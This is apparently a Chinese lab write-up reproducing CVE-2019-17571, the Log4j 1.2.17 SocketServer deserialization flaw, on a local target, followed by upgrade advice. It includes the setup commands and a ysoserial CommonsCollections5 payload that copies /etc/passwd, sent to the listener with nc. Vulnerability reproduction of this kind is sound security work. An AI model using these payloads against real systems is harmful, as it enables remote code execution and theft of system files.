(环境搭建+复现)CVE-2019-17571 Apache Log4j SocketServer 反序列化漏洞

1、【CVE编号】

CVE-2019-17571

2、【漏洞名称】

Apache Log4j SocketServer 反序列化漏洞

3、【靶标分类】

通用漏洞组件类靶标

4、【影响版本】

Log4j1.2.x<=1.2.17

5、【漏洞分类】

代码执行

6、【漏洞等级】

7、【漏洞简介】

Apache Log4j 是一个基于 Java 的日志记录工具,是 Apache 软件基金会的一个项目,是几种 Java 日志框架之一。
近日,Apache Log4j 官方披露在 1.2.x 版本中的SocketServer类存在反序列化漏洞(CVE-2019-17571),攻击者可利用漏洞可实现远程代码执行。
Log4j 1.2.x 版本中的 org.apache.log4j.net.SocketServer 类,存在反序列化漏洞。使用 Log4j SocketServer 类创建的 Socket 监听服务处理接受数据时,容易对不可信数据进行反序列化,结合反序列化小工具,攻击者可以实现远程代码执行。

环境搭建
8、【靶标运行环境】

标靶运行操作系统系统:Ubuntu1804 64位
操作系统内核:4.15.0-92-generic
组件版本:log4j 1.2.17
Java版本:1.8.0_242
端口号:8888
工具:ysoserial

9、【靶标搭建过程】
1、需要的jar包和ysoserial工具
在这里插入图片描述
2、其中配置文件log4j.properties内容如下

log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n

3、启动SocketServer端即可

root@ubuntu:~/Desktop/CVE-2019-17571_Log4j反序列化# java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 8888 ./log4j.properties ./

在这里插入图片描述

服务已经启动,正在监听8888端口
在这里插入图片描述
10、靶场利用过程
1、使用ysoserial生成poc

java -jar ysoserial.jar CommonsCollections5 "cp /etc/passwd /tmp/passwd" > test.bin

2、攻击靶场环境

cat test.bin | nc 127.0.0.1 8888

在这里插入图片描述
3、此时我们看一下/tmp 目录下,成功将/etc/passwd 文件复制到了 /tmp/passwd 中
在这里插入图片描述
4、可以通过运行CVE-2019-17571.py快速达到上述目的
python3 CVE-2019-17571.py
在这里插入图片描述
11、【解决方案】
1、Apache Log4j 的 1.2 系列版本官方在2015年8月已停止维护,在 2.8.2 版本中已修复了该漏洞,建议尽快升级到 2.8.2 或更高的版本;
下载地址:https://logging.apache.org/log4j/2.x/download.html

2、停止使用 Log4j 的 SocketServer 类创建 Socket 服务,未使用 Log4j 的 SocketServer 类的功能不受漏洞影响;

Referer:

https://www.geek-by.xyz/2019/12/30/apache-log4j-socketserver-fan-xu-lie-hua-lou-dong-cve-2019-17571/

https://xz.aliyun.com/t/7010

https://github.com/shadow-horse/CVE-2019-17571

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值